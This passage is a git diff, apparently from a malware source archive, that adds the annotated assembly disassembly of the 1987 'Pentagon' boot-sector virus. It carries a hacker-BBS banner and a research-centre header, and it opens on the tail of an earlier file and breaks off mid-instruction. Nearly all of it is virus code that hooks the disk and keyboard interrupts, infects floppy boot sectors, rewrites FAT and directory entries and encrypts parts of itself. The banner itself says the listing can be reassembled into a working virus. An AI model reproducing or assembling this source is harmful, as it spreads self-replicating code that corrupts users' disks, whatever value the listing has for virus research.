AX + PUSH BX + PUSH DS + MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + IN AL,60H ; Get keyboard token + MOV BX,OFFSET BB0417 ; Address Key states + TEST BYTE PTR [BX],8 ; Alt key depressed? + JZ BP0736 ; Branch if not + TEST BYTE PTR [BX],4 ; Ctrl key depressed? + JZ BP0736 ; Branch if not + CMP AL,53H ; Del character token? + JNE BP0736 ; Branch if not + XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states + XOR AL,AL ; \ ? + OUT 60H,AL ; / + MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch +BP0736: POP DS + POP BX + POP AX + INT 69H ; Keyboard I/O + PUSHF + CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch + JNE BP0765 ; Branch if off + POPF + MOV AX,3 ; Set mode three + INT 10H ; VDU I/O + CLI + MOV AL,0AH ; Repeat delay 10 times + XOR CX,CX ; Maximum loop +BP074F: LOOP BP074F ; Delay + DEC AL ; Decrement delay count + JNZ BP074F ; Repeat delay for count + CALL BP04A0 ; Generate a sound + XOR CX,CX ; Maximum loop +BP075A: LOOP BP075A ; Delay + MOV BYTE PTR CS:DB07E0,5 ; Set count to 5 + STI + INT 19H ; Disk bootstrap + +BP0765: POPF + RETF 2 + + DB 27 DUP (0) + +DW0784 DW 0064H ; Cluster number of virus +DW0786 DW 0066H ; Cluster number of file +DW0788 DW 0B02H ; Virus track & sector +DW078A DW 0101H ; Virus head and drive +DW078C DW 0B06H ; File track and sector +DW078E DW 0101H ; File head and drive +DB0790 DB 1 ; Device number + +DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0 +DB07B1 DB 'Pentagon,ZG' +DB07BC DB '(c) 1987 The Pentagon, Zorell Group$' + +DB07E0 DB 20H ; Infection count +DB07E1 DB 0FFH ; Infected by Brain switch +DB07E2 DB 0 ; Directory update switch +DB07E3 DB 0 ; Reboot switch + + DB ' first sector in segment', 0DH, 0AH, 9, 6DH + +CODE ENDS + + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.pentagon.err b/MSDOS/Virus.MSDOS.Unknown.pentagon.err new file mode 100644 index 00000000..7c4248fd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pentagon.err @@ -0,0 +1,989 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + page 65,132 + title The 'Pentagon' Virus +; ÉĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ» +; ŗ British Computer Virus Research Centre ŗ +; ŗ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ŗ +; ŗ Telephone: Domestic 0273-26105, International +44-273-26105 ŗ +; ŗ ŗ +; ŗ The 'Pentagon' Virus ŗ +; ŗ Disassembled by Joe Hirst, March 1989 ŗ +; ŗ ŗ +; ŗ Copyright (c) Joe Hirst 1989. ŗ +; ŗ ŗ +; ŗ This listing is only to be made available to virus researchers ŗ +; ŗ or software writers on a need-to-know basis. ŗ +; ČĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ¼ + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; The code section between offsets 59H and C4H (which is normally + ; encrypted) appears to have been separately assemblied using A86. + + ; Virus is possibly an honorary term, at least for this sample, + ; as all attempts to run it have so far failed. + + ; This virus consists of a boot sector and two files. + ; The boot sector is a normal PCDOS 3.20 boot sector with three + ; changes: + + ; 1. The OEM name 'IBM' has been changed to 'HAL'. + + ; 2. The first part of the virus code overwrites 036H to 0C5H. + + ; 3. 100H-122H has been overwritten by a character string. + + ; The name of the first file is the hex character 0F9H. This file + ; contains the rest of the virus code followed by the original boot + ; sector. + + ; The name of the second file is PENTAGON.TXT. This file does not + ; appear to be used in any way or contain any meaningful data. + + ; Both files are created without the aid of DOS, and the first + ; file is accessed by its stored absolute location. + + ; Four different sections of the virus are separately encrypted: + + ; 1. 004AH - 004BH, key 0ABCDH - load decryption key + + ; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector. + + ; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message. + + ; 4. 0800H - 09FFH, key 0FCH - the original boot sector. + +SEG70 SEGMENT AT 70H + ASSUME CS:SEG70 +EXIT: +SEG70 ENDS + +BOOT SEGMENT AT 0 + + ORG 413H +BW0413 DW ? + + ORG 417H +BB0417 DB ? + + ORG 51CH +BW051C DW ? + + ORG 7C0BH +DW7C0B DW ? + + ORG 7C18H +DW7C18 DW ? +DW7C1A DW ? + + ORG 7C2AH +DB7C2A DB ? + + ORG 7C37H +DW7C37 DW ? +DW7C39 DW ? +DB7C3B DB ? +DB7C3C DB ? +DW7C3D DW ? + + ORG 7DB7H +DB7DB7 DB ? + + ORG 7DFDH +DB7DFD DB ? + + ORG 7E00H +DW7E00 DW ? ; DW008F - Track and sector of rest of code +DW7E02 DW ? ; DW0091 - Head and drive of rest of code +DW7E04 DW ? ; DW0093 - Segment address of virus + +BOOT ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + IF1 + ORG 206H +BP0095X LABEL NEAR + ENDIF + + ORG 0 +START: JMP BP0036 + + DB 'HAL 3.2' + + DW 512 ; BPB001 - Bytes per sector + DB 2 ; BPB002 - Sectors per allocation unit + DW 1 ; BPB003 - Reserved sectors + DB 2 ; BPB004 - Number of FATs + DW 112 ; BPB005 - Number of root dir entries + DW 720 ; BPB006 - Number of sectors + DB 0FDH ; BPB007 - Media Descriptor + DW 2 ; BPB008 - Number of sectors per FAT + DW 9 ; BPB009 - Sectors per track + DW 2 ; BPB010 - Number of heads + DW 0 ; BPB011 - Number of hidden sectors (low order) +BPB012 DW 0 ; Number of hidden sectors (high order) + + DB 10 DUP (0) + +HEADNO DB 0 + + ; Interrupt 30 (1EH) - Disk parameter table + +DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0) + + DB 1, 0 + +BP0036: CLI + MOV AX,CS ; \ Set SS to CS + MOV SS,AX ; / + MOV SP,0F000H ; Set stack pointer + MOV DS,AX ; Set DS to CS + STI + MOV BP,OFFSET BP0044+7C00H +BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction + NOP +DW004A EQU THIS WORD + MOV DH,0FCH ; Decryption key + MOV BP,OFFSET BP0059+7C00H ; Decryption start address + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt +BP0052: XOR [BP+00],DH ; Decrypt a byte + INC BP ; Next byte + LOOP BP0052 ; Repeat for all of it + NOP +BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction + MOV AX,BW0413 ; Get RAM size in K + SUB AX,0005 ; Subtract five K + MOV BW0413,AX ; Replace amended RAM size + MOV CL,06 ; Bits to move + SHL AX,CL ; Convert to segment address + MOV DW0093+7C00H,AX ; Save segment address + NOP + MOV ES,AX ; Set ES to this segment + XOR DI,DI ; Move to start + MOV SI,7C00H ; From start of boot sector buffer + MOV CX,0200H ; Move one sector + CLD + REPZ MOVSB ; Move sector to high-core + NOP + + ; Move next section of code to a safe area + + MOV DI,200H+7C00H + MOV SI,OFFSET DW008F+7C00H + MOV CX,OFFSET DB00C5-DW008F ; Length to move + PUSH DS ; \ Set ES to DS + POP ES ; / + CLD + REPZ MOVSB ; Copy program section + JMP BP0095X ; This is BP0095 in new location + +DW008F DW 0B02H ; Track and sector of rest of code +DW0091 DW 100H ; Head and drive of rest of code +DW0093 DW 9EC0H ; Segment address of virus + +BP0095: MOV CX,0004 ; Number of retries +BP0098: PUSH CX + MOV CX,DW7E00 ; Get track and sector number + MOV DX,DW7E02 ; Get head and drive number + MOV ES,DW7E04 ; Get buffer segment address + MOV BX,0200H ; Buffer offset + MOV AX,0201H ; Read one sector + INT 13H ; Disk I/O + JNB BP00B8 ; Branch if no error + POP CX + XOR AH,AH ; Reset floppy disk sub-system + INT 13H ; Disk I/O + LOOP BP0098 ; Retry + INT 18H ; Drop into basic + +BP00B8: POP CX + MOV AX,OFFSET DW7E04 ; Address segment address + CLI + MOV SP,AX ; Point SP at segment address + STI + MOV AX,0200H ; \ Address of second section + PUSH AX ; / + RETF + +DB00C5 DB 50H + + ; The rest of this sector is a normal PCDOS 3.20 boot sector + ; which has been overwritten at 100H-122H by a character string + + DB 61H, 0 + + XOR AH,AH + INT 16H + POP SI + POP DS + POP [SI] + +DW00D0 DW 0B06H ; Track and sector numbers +DW00D2 DW 0100H ; Head and drive numbers + DB 19H + + MOV SI,OFFSET DB7DB7 + JMP NEAR PTR DB00C5 + + MOV AX,BW051C + XOR DX,DX + DIV DW7C0B + INC AL + MOV DB7C3C,AL + MOV AX,DW7C37 + MOV DW7C3D,AX + MOV BX,0700H + MOV AX,DW7C37 + CALL BP0137 + MOV AX,DW7C18 + SUB AL,DB7C3B + INC AX + PUSH AX + + DB '(c) 1987 The Pentagon, Zorell Group' + + DB 7CH + JMP FAR PTR EXIT + +BP0129: LODSB + OR AL,AL + JZ BP0150 + MOV AH,0EH + MOV BX,7 + INT 10H + JMP BP0129 + +BP0137: XOR DX,DX + DIV DW7C18 + INC DL + MOV DB7C3B,DL + XOR DX,DX + DIV DW7C1A + MOV DB7C2A,DL + MOV DW7C39,AX +BP0150: RET + + MOV AH,2 + MOV DX,DW7C39 + MOV CL,6 + SHL DH,CL + OR DH,DB7C3B + MOV CX,DX + XCHG CH,CL + MOV DL,DB7DFD + MOV DH,DB7C2A + INT 13H + RET + + DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH + DB 'Replace and strike any key when ready', 0DH, 0AH, 0 + DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0 + DB 'IBMBIO COMIBMDOS COM' + + ORG 01FEH + DW 0AA55H + + ; Second sector of virus + +BP0200: CLI + MOV SP,0F000H ; Reset stack pointer + STI + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + MOV BX,004CH ; INT 13H jump address + MOV BP,01A0H ; INT 68H jump address + CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use + JE BP0219 ; Branch if not + JMP BP024E + +BP0219: MOV AX,[BX] ; Get INT 13H offset + MOV DS:[BP+0],AX ; Set INT 68H to this offset + MOV AX,[BX+2] ; Get INT 13H segment + MOV DS:[BP+2],AX ; Set INT 68H to this segment + MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine + MOV AX,CS ; \ Set INT 13H segment + MOV [BX+2],AX ; / + MOV BX,0024H ; INT 9 jump address + MOV BP,01A4H ; INT 69H jump address + MOV AX,[BX] ; Get INT 9 offset + MOV DS:[BP],AX ; Set INT 69H to this offset + MOV AX,[BX+2] ; Get INT 9 segment + MOV DS:[BP+2],AX ; Set INT 69H to this segment + MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine + MOV AX,CS ; \ Set INT 9 segment + MOV [BX+02],AX ; / + JMP BP0254 + +BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM + ADD WORD PTR [BX],5 ; Restore the 5K +BP0254: MOV BP,OFFSET DW008F ; Address virus pointer + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and device + MOV BX,0200H ; Address second sector + MOV CX,3 ; Three sectors to read +BP0265: PUSH CX ; Save read count + MOV AX,0201H ; Read one sector + MOV CX,CS:[BP] ; Get track and sector + CALL BP0300 ; Address to next sector + MOV CS:[BP],CX ; Save new track and sector + ADD BX,0200H ; Address next buffer area + CALL BP031B ; Read from disk + JNB BP0280 ; Branch if no error + POP CX + INT 18H ; Drop into basic + + ; Read file, first sector + +BP0280: POP CX ; Retrieve read count + LOOP BP0265 ; Repeat for other sectors + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CX,CS:[BP] ; Get track and sector + MOV DX,CS:[BP+2] ; Get head and drive + MOV BX,1000H ; Buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP029B ; Branch if no error + INT 18H ; Drop into basic + + ; Read file, second sector + +BP029B: CALL BP0300 ; Address to next sector + ADD BX,0200H ; Update buffer address + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP02AC ; Branch if no error + INT 18H ; Drop into basic + +BP02AC: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to decrypt + MOV AL,0AAH ; Load encryption key + PUSH CS ; \ Set DS to CS + POP DS ; / + CALL BP0315 ; Decrypt + MOV AX,CS ; \ + MOV ES,AX ; ) Set ES & DS to CS + MOV DS,AX ; / + MOV DI,0100H ; Middle of 1st sector + MOV SI,OFFSET DB07BC ; Address copyright message + MOV CX,0023H ; Length of copyright message + REPZ MOVSB ; Copy copyright message + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV CX,0200H ; Length to decrypt + MOV BX,0800H ; Address boot sector store + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + MOV DI,7C00H ; Boot sector buffer + MOV SI,0800H ; Address boot sector store + MOV CX,0200H ; Sector length + CLD + REPZ MOVSB ; Copy boot sector + DB 0EAH ; Far jump to boot sector + DW 7C00H, 0 + + DB 16 DUP (0) + + ; Address to next sector + +BP0300: INC CL ; Increment sector number + CMP CL,0AH ; Is it sector ten? + JL BP0314 ; Branch if not + MOV CL,1 ; Set sector to one + INC DH ; Increment head + CMP DH,2 ; Is it head two? + JL BP0314 ; Branch if not + XOR DH,DH ; Set head to zero + INC CH ; Increment track +BP0314: RET + + ; Encrypt/decrypt + +BP0315: XOR [BX],AL ; Encrypt a byte + INC BX ; Address next byte + LOOP BP0315 ; Repeat for count + RET + + ; Read from or write to disk + +BP031B: PUSH SI + PUSH DI + MOV SI,AX ; Save function + MOV DI,CX ; Save track and sector + MOV CX,3 ; Number of retries +BP0324: PUSH CX + MOV AX,SI ; Retrieve function + MOV CX,DI ; Retrieve track and sector + INT 68H ; Disk I/O + JNB BP0338 ; Branch if no error + XOR AH,AH ; Reset sub-system + INT 68H ; Disk I/O + POP CX ; Retrieve number of retries + LOOP BP0324 ; Retry + STC + JMP BP033B + +BP0338: POP CX ; Retrieve number of retries + MOV CX,DI ; Retrieve track and sector +BP033B: POP DI + POP SI + RET + + ; Find unused FAT entry pair + +BP033E: PUSH AX + PUSH DX + PUSH ES + PUSH DI + PUSH CS + POP ES + MOV DX,CX ; Initial cluster number + XOR AL,AL ; Search for zero +BP0348: MOV CX,3 ; Three bytes to check + MOV DI,BX ; Address FAT entry pair + REPZ SCASB ; Scan for non-zero + CMP CX,0 ; Is FAT pair unused + JE BP0361 ; Branch if yes + ADD BX,3 ; Address next entry pair + ADD DX,2 ; Update entry count + CMP DX,0162H ; Entry 354? + JLE BP0348 ; Process entry pair if not + STC +BP0361: MOV CX,DX ; Cluster number found + POP DI + POP ES + POP DX + POP AX + RET + + ; Find and flag an unused entry + +BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry + JZ BP0384 ; Branch if unused + INC CX ; Next entry number + INC BX ; Address 2nd entry + TEST WORD PTR [BX],0FFF0H ; Test second FAT entry + JZ BP038B ; Branch if unused + INC CX ; Next entry number + ADD BX,2 ; Address next entry pair + CMP CX,0163H ; Entry 355? + JLE BP0368 ; Process next FAT pair if not + STC + JMP BP0390 + +BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF + JMP BP038F + +BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF + nop ; ** length adjustment, MASM 5.0 +BP038F: CLC +BP0390: RET + + ; Unflag Brain virus bad clusters + +BP0391: PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV DX,CX +BP0397: MOV AX,[BX] ; Get FAT entry + AND AX,0FFFH ; Isolate FAT entry + CMP AX,0FF7H ; Bad cluster? + JE BP03B8 ; Branch if yes + INC DX ; Add to cluster number + INC BX ; Address next entry + MOV AX,[BX] ; Get FAT entry + MOV CL,4 ; Bits to move + SHR AX,CL ; Move FAT entry + CMP AX,0FF7H ; Bad Cluster? + JE BP03C8 ; Branch if yes + INC DX ; Add to cluster number + ADD BX,2 ; Address next pair of entries + CMP DX,015FH ; Entry 351? + JLE BP0397 ; Process this pair if not +BP03B8: MOV WORD PTR [BX],0 ; \ + MOV BYTE PTR [BX+2],0 ; ) Clear three entries + XOR WORD PTR [BX+3],0FF7H ; / + JMP BP03D5 + +BP03C8: XOR WORD PTR [BX],0FF7H ; \ + MOV WORD PTR [BX+2],0 ; ) Clear three entries + MOV BYTE PTR [BX+4],0 ; / +BP03D5: POP DX + POP CX + POP BX + POP AX + RET + + ; Convert cluster number to track, head and sector + +BP03DA: PUSH AX + PUSH BX + SUB CX,2 ; Subtract number of 1st cluster + ADD CX,CX ; Two sectors per cluster + ADD CX,0CH ; Add sector num of 1st cluster + MOV AX,CX ; Copy sector number + PUSH AX ; Save sector number + MOV BL,9 ; Nine sectors per track + DIV BL ; Divide by sectors per track + INC AH ; First sector is one + MOV CL,AH ; Move sector number + XOR AH,AH ; Clear top of register + MOV BL,2 ; Two heads + DIV BL ; Divide by heads + MOV DH,AH ; Move head number + POP AX ; Retrieve sector number + MOV BL,12H ; 18 sectors per track (both sides) + DIV BL ; Divide by sectors per track + MOV CH,AL ; Move track number + POP BX + POP AX + RET + + ; Update directory + +BP0401: PUSH BX + PUSH CX + PUSH DX + PUSH SI + PUSH DI + MOV CX,000FH ; Fifteen entries per sector + XOR DI,DI ; Start of sector + CMP AX,7 ; Is this first dir sector + JNE BP0416 ; Branch if not + SUB CX,3 ; Subtract three from count + ADD DI,60H ; Address fourth entry +BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on? + JNE BP0443 ; Branch if not + CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label? + JNE BP0443 ; Branch if not + MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on + PUSH SI + PUSH DI + PUSH CX + ADD DI,BX ; Add sector address + LEA SI,DB07B1 ; Address label + MOV CX,000BH ; Length of new label + CLD + REPZ MOVSB ; Copy label + MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + POP CX + POP DI + POP SI +BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused? + JE BP0452 ; Branch if yes + ADD DI,20H ; Address next entry + LOOP BP0416 ; Process next entry + STC + JMP BP0487 + +BP0452: ADD DI,BX ; Add sector address + MOV BX,DI ; Move entry address + MOV BYTE PTR [BX],0F9H ; "Filename" + MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes + MOV CX,CS:DW0784 ; Get virus cluster number + MOV [BX+1AH],CX ; Store starting cluster + MOV WORD PTR [BX+1CH],0800H ; \ File size 2048 + MOV WORD PTR [BX+1EH],0 ; / + ADD DI,20H ; Address next entry + MOV BX,DI ; Move entry address + LEA SI,DB0791 ; Address start of encrypted + MOV CX,0020H ; One complete entry to move + CLD + REPZ MOVSB ; Move entry + MOV CX,CS:DW0786 ; Get file cluster number + MOV [BX+1AH],CX ; Store starting cluster + CLC +BP0487: POP DI + POP SI + POP DX + POP CX + POP BX + RET + + ; Read actual boot sector - Brain infected + +BP048D: PUSH AX + PUSH CX + PUSH DX + MOV CX,[BX+7] ; Get track and sector + MOV DH,[BX+6] ; Get head number + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + POP DX + POP CX + POP AX + RET + + ; Generate a sound + +BP04A0: MOV BP,1 ; One loop + MOV AL,0B6H ; Counter two, both bytes, sq wave + OUT 43H,AL ; Set PIT control register + MOV AX,0533H ; Sound frequency + OUT 42H,AL ; Send first byte + MOV AL,AH ; Get second byte + OUT 42H,AL ; Send second byte + IN AL,61H ; Get port B + MOV AH,AL ; Save port B value + OR AL,3 ; Set sound bits on + OUT 61H,AL ; Send port B + SUB CX,CX ; Maximum loop count +BP04BA: LOOP BP04BA ; Delay + DEC BP ; Decrement count of loops + JNZ BP04BA ; Branch if not zero (it won't be) + MOV AL,AH ; Recover original port B + OUT 61H,AL ; Send port B + RET + + ; Int 13H routine + +BP04C4: STI + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH SI + PUSH ES + PUSH DI + MOV CS:DB0790,DL ; Save device + CMP AH,2 ; Is function a read? + JE BP04DA ; Branch if yes + JMP BP06FC ; Pass on to BIOS + +BP04DA: DEC CS:DB07E0 ; Decrement count + JZ BP04E4 ; Infect when zero + JMP BP06FC ; Pass on to BIOS + + ; Get boot sector + +BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + PUSH CS ; \ + POP AX ; \ Set DS & ES to CS + MOV DS,AX ; / + MOV ES,AX ; / + MOV BX,0800H ; Address boot sector store + MOV CX,1 ; Track zero, sector one + MOV DH,0 ; Head zero + MOV DL,CS:DB0790 ; Load device + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0508 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Brain virus + +BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector? + JNE BP051D ; Branch if not + MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on + CALL BP048D ; Read actual boot sector + JNB BP052D ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check for Pentagon virus + +BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off + CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon? + JNE BP052D ; Branch if not + JMP BP06FC ; Pass on to BIOS + + ; Check for DOS boot sector + +BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector + JE BP0538 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get first FAT sector + +BP0538: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0549 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Check media byte + +BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk + JE BP0551 ; Branch if yes + JMP BP06FC ; Pass on to BIOS + + ; Get second sector of FAT + +BP0551: ADD BX,0200H ; Update buffer address + INC CL ; Next sector + MOV AX,0201H ; Read one sector + CALL BP031B ; Read from disk + JNB BP0562 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch + JNE BP0573 ; Branch if off + MOV BX,0A03H ; Address first cluster in FAT + MOV CX,2 ; First cluster is number two + CALL BP0391 ; Unflag Brain virus bad clusters +BP0573: MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP033E ; Find unused FAT entry pair + JNB BP0581 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0581: MOV CS:DW0784,CX ; Save virus cluster number + INC CX ; Next cluster number + MOV [BX],CX ; Put it in first FAT entry + OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF + nop ; ** length adjustment, MASM 5.0 + DEC CX ; Set cluster number back + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW0788,CX ; Save virus track & sector + MOV CS:DW078A,DX ; Save virus head and drive + PUSH BP + MOV BP,OFFSET DW008F ; Address virus pointer + MOV CS:[BP+00],CX ; Save virus track & sector + MOV CS:[BP+03],DH ; Save virus head + POP BP + MOV BX,0A96H ; \ Start from cluster 100 + MOV CX,0064H ; / + CALL BP0368 ; Find an unused FAT entry + JNB BP05B7 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP05B7: MOV CS:DW0786,CX ; Save file cluster number + CALL BP03DA ; Cluster num to trck/hd/sect + MOV CS:DW078C,CX ; Save file track & sector + MOV CS:DW078E,DX ; Save file head and drive + PUSH BP + MOV BP,OFFSET DW00D0 ; Address file pointers + MOV CS:[BP],CX ; Save track and sector + MOV CS:[BP+3],DH ; Save head + POP BP + MOV AL,0FCH ; Load encryption key + MOV BX,0800H ; Address boot sector store + MOV CX,0200H ; Length to encrypt + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,20H ; Set count to 32 + LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BX,0200H ; Virus second sector + MOV AX,0301H ; Write one sector + MOV CX,CS:DW0788 ; Get virus track & sector + MOV DX,CS:DW078A ; Get virus head and drive + MOV DL,CS:DB0790 ; Load device + CALL BP031B ; Write to disk + JNB BP0613 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + +BP0613: MOV AX,3 ; Three sectors to write +BP0616: PUSH AX ; Save write count + ADD BX,0200H ; Next sector buffer + MOV AX,0301H ; Write one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + POP AX ; Retrieve write count + DEC AX ; Decrement count + JNZ BP0616 ; Repeat for each sector + JMP BP0631 + +BP062D: POP AX + JMP BP06FC ; Pass on to BIOS + + ; Write file + +BP0631: LEA CX,DB07E0 ; Address end of encrypted + LEA BX,DB0791 ; Address start of encrypted + SUB CX,BX ; Length to encrypt + MOV AL,0AAH ; Load encryption key + CALL BP0315 ; Encrypt/decrypt + MOV BYTE PTR CS:DB07E0,10H ; Set count to 16 + MOV CX,CS:DW078C ; Get file track & sector + MOV DX,CS:DW078E ; Get file head and drive + MOV DL,CS:DB0790 ; Load device + MOV BX,1000H ; Address file buffer + MOV AX,2 ; Two sectors to write +BP065B: PUSH AX ; Save write count + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk + JB BP062D ; Branch if error + CALL BP0300 ; Address to next sector + ADD BX,0200H ; Address next sector buffer + POP AX ; Retrieve write count + DEC AX ; Decrement write count + JNZ BP065B ; Write each sector + MOV BX,OFFSET BP0059 ; Start of encrypted + MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Encrypt + XOR BX,BX ; Address start of virus + MOV AX,0301H ; Write one sector + MOV CX,1 ; Track zero, sector 1 + XOR DH,DH ; Head zero + CALL BP031B ; Write to disk + JNB BP068C ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 1st FAT sector + +BP068C: MOV BX,OFFSET BP0059 + MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt + MOV AL,0FCH ; Load encryption key + CALL BP0315 ; Decrypt + MOV BX,0A00H ; Address 1st FAT sector + MOV AX,0301H ; Write one sector + MOV CX,2 ; Track zero, sector 2 + CALL BP031B ; Write to disk + JNB BP06A8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Write 2nd FAT sector + +BP06A8: ADD BX,0200H ; Address 2nd FAT sector + MOV AX,0301H ; Write one sector + INC CX ; Next sector + CALL BP031B ; Write to disk + JNB BP06B8 ; Branch if no error + JMP BP06FC ; Pass on to BIOS + + ; Create directory entries + +BP06B8: MOV BX,0E00H ; Address directory + MOV CX,5 ; Track zero, sector 5 + XOR DH,DH ; Head zero + MOV AX,7 ; Seven sectors to read +BP06C3: PUSH AX ; Save read count + MOV AX,0201H ; Read one sector + CALL BP0300 ; Address to next sector + CALL BP031B ; Read from disk + JB BP06F1 ; Branch if error + POP AX ; \ Retrieve and save read count + PUSH AX ; / + MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off + CALL BP0401 ; Update directory + JNB BP06F5 ; Branch if entry found + CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch + JNE BP06EA ; Branch if off + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06EA: POP AX ; Retrieve sector count + DEC AX ; Decrement sector count + JNZ BP06C3 ; Repeat for each sector + JMP BP06FC ; Pass on to BIOS + +BP06F1: POP AX + JMP BP06FC ; Pass on to BIOS + +BP06F5: POP AX + MOV AX,0301H ; Write one sector + CALL BP031B ; Write to disk +BP06FC: POP DI + POP ES + POP SI + POP DS + POP DX + POP CX + POP BX + POP AX + INT 68H ; Disk I/O + RETF 2 + + ; Int 9 routine + +BP0709: PUSH AX + PUSH BX + PUSH DS + MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + IN AL,60H ; Get keyboard token + MOV BX,OFFSET BB0417 ; Address Key states + TEST BYTE PTR [BX],8 ; Alt key depressed? + JZ BP0736 ; Branch if not + TEST BYTE PTR [BX],4 ; Ctrl key depressed? + JZ BP0736 ; Branch if not + CMP 